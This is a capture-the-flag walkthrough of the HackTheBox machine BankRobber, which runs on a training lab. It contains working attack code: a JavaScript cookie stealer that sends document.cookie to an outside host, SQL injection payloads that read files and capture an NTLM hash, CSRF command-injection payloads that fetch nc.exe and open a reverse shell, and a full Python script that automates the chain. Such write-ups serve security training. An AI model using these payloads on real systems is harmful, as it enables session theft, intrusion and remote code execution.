BankRobber is a very interesting and useful box when you are trying to get some XSS and SQLInjection to train on. Not so hard the first shell, I think the most difficult part of it is the privilege escalation, which one I will complete in the future.
The exploit for the first shell is on the post. And in the end, the source code of the app, to understand where the vulnerabilities and being triggered on the app.
Diagram
Not complete yet, I’ll return here latter and get it all.
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.154
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
We try to open it on the browser
Gobuster
Let’s start crafting a little more on the box to see if we can enum more things do explore
1
gobuster dir -u http://10.10.10.154 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
We found a bunch of directories in it. Fine.
The admin and user called my attention
But that’s obsviouslly that we cannot access because our permissions
We cannot access the user too
Login
We could try to create a login in it
Now we Login
We are redirect to /user
We saw some requests
Interesting… our password as cookie
We see some interesting javascript being executed too
We try to transfer some amount
Hummm… A “time” message
Seems that we should have some kind of XSS happening here
XSS
So, we test the basic payloads, to see if it catch us
And after one minute we get back
<script src="http://10.10.14.20"></script>
How we get a admin looking at the comment tab, we possible can create a malicious JS to send us the cookies values
And we got it!
0x4rt3mis.js
1
2
3
4
5
6
7
function send_cookie(){
var req=new XMLHttpRequest();
req.open('GET', 'http://10.10.14.20/?xss=' + document.cookie, true);
req.send();
}
send_cookie();
And playing with it, we got the admin credentials
1
2
admin
Hopelessromantic
We login as admin
And we have access to the admin panel
Admin Enumeration
We start looking at the pages that the admin has access
notes.txt
We see to options. Search users and backdorchecker
Both of them show me problems. Interesing
When we try a sqlinjection in this field
1
There is a problem with your SQL syntax
And when we try to send commands on the other field
1
2
It's only allowed to access this function from localhost (::1).
This is due to the recent hack attempts on our server.
Just comming from localhost… Ok…
SQLInjection
Let’s focus on the SQLInjection
After some standart paylaods we found it working
We can start getting data with UNION SELECT
queries
We got that the it has 3 columns
We can test, for example, to get the database version
And with this cheat sheet we can get the admin hash
We get the type hash
And on crackstation we got it
We can also get a NTLM hash with responder
1
term=1'UNION+SELECT+load_file('\\\\10.10.14.20\\\\0x4rt3mis'),2,3--+-
We can get the source code of the other function with load_file function
1
term=1'UNION+SELECT+load_file('c:\\xampp\\htdocs\\admin\\backdoorchecker.php'),2,3--+-
CRSF
The thing we need to do, is make the admin execute commands comming from localhost on backdoorchecker.php
And we have RCE…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Function created to simplify the debbug, always send as param the value you want to debbug
function debug(debug){
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://10.10.14.20:9999/' + debug, true);
xhr.send();
}
// Function just to try cmd id
function getRCE(){
var rev = new XMLHttpRequest();
var url = "http://localhost/admin/backdoorchecker.php";
var data = 'cmd=dir|powershell -c "ping 10.10.14.20"';
rev.open("POST", url, true);
rev.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
rev.send(data);
debug(document.cookie);
}
getRCE()
Now, we get reverse shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Function created to simplify the debbug, always send as param the value you want to debbug
function debug(debug){
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://10.10.14.20:9999/' + debug, true);
xhr.send();
}
// Function just to try cmd id
function getRCE(){
var rev = new XMLHttpRequest();
var url = "http://localhost/admin/backdoorchecker.php";
var data = "cmd=dir|\\\\10.10.14.20\\0x4rt3mis\\nc.exe 10.10.14.20 5555 -e powershell.exe";
rev.open("POST", url, true);
rev.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
rev.send(data);
debug(document.cookie);
}
getRCE()
Let’s automate the whole things now!
Auto Reverse Shell
We will use our python skeleton to do that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
Here it is
rev_bank.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python3
# Author: 0x4rt3mis
# Exploit - Auto Reverse Shell - BankRobber - HackTheBox
import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
import os
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Setting the python web server
def webServer():
debug = True
server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
if debug:
print("[+] Starting Web Server in background [+]")
thread = threading.Thread(target = server.serve_forever)
thread.daemon = True
thread.start()
else:
print("Starting Server")
print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
server.serve_forever()
# Set the handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
os.system("rm 0x4rt3mis.js")
os.system("rm nc.exe")
t.interact()
def createPayloadJS(lhost,lport):
print("[+] Preparing the payload !! [+]")
os.system("cp /usr/share/windows-binaries/nc.exe .")
payload = "function getRCE(){\n"
payload += " var rev = new XMLHttpRequest();\n"
payload += " var url = 'http://localhost/admin/backdoorchecker.php';\n"
payload += " var data = 'cmd=dir|powershell -c \"iwr -uri " + lhost + "/nc.exe -outfile %temp%\\\\nc.exe\"; %temp%\\\\nc.exe -e cmd.exe " + lhost + " " + lport + "';\n"
payload += " rev.open('POST', url, true);\n"
payload += " rev.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\n"
payload += " rev.send(data);\n"
payload += "}\n"
payload += "\n"
payload += "getRCE()"
f = open("0x4rt3mis.js", "w")
f.write(payload)
f.close()
print("[+] Done !! [+]")
def createAccount(rhost):
print("[+] Creating Account ! [+]")
url = "http://%s:80/register.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"username": "0x4rt3mis", "password": "123456", "pounds": "Submit Query"}
r.post(url, headers=headers, data=data, proxies=proxies)
print("[+] Created ! [+]")
def loginAccount(rhost):
print("[+] Just Login ! [+]")
url = "http://%s:80/login.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"username": "0x4rt3mis", "password": "123456", "pounds": "Submit Query"}
r.post(url, headers=headers, data=data, proxies=proxies, cookies=r.cookies)
print("[+] Logged In ! [+]")
def launchXSS(rhost):
print("[+] Let's trigger XSS ! [+]")
url = "http://%s:80/user/transfer.php" %rhost
headers = {"Content-type": "application/x-www-form-urlencoded"}
data = {"fromId": "3", "toId": "1", "amount": "1", "comment": "<script src=\"http://10.10.14.20/0x4rt3mis.js\"></script>"}
r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
print("[+] Triggered, wait 120 seconds ! [+]")
os.system("sleep 120")
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--localip', help='Local ip address or hostname', required=True)
parser.add_argument('-lp', '--port', help='Local port to receive shell', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.localip
lport = args.port
'''Here we call the functions'''
# Set up the web python server
webServer()
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Create the JS payload
createPayloadJS(lhost,lport)
# Create Account
createAccount(rhost)
# Login
loginAccount(rhost)
# Trigger and wait
launchXSS(rhost)
if __name__ == '__main__':
main()
Source Code Analysis
We start looking at the web app file to understand how it was estructured
We copy the htdocs folder to our Kali
auth.php
This is just the mechanisn of authentication, when it decode in base64 the credentials and check if it matches with the admin one.
backdoorchecker.php
handle.php
search.php
transfer.php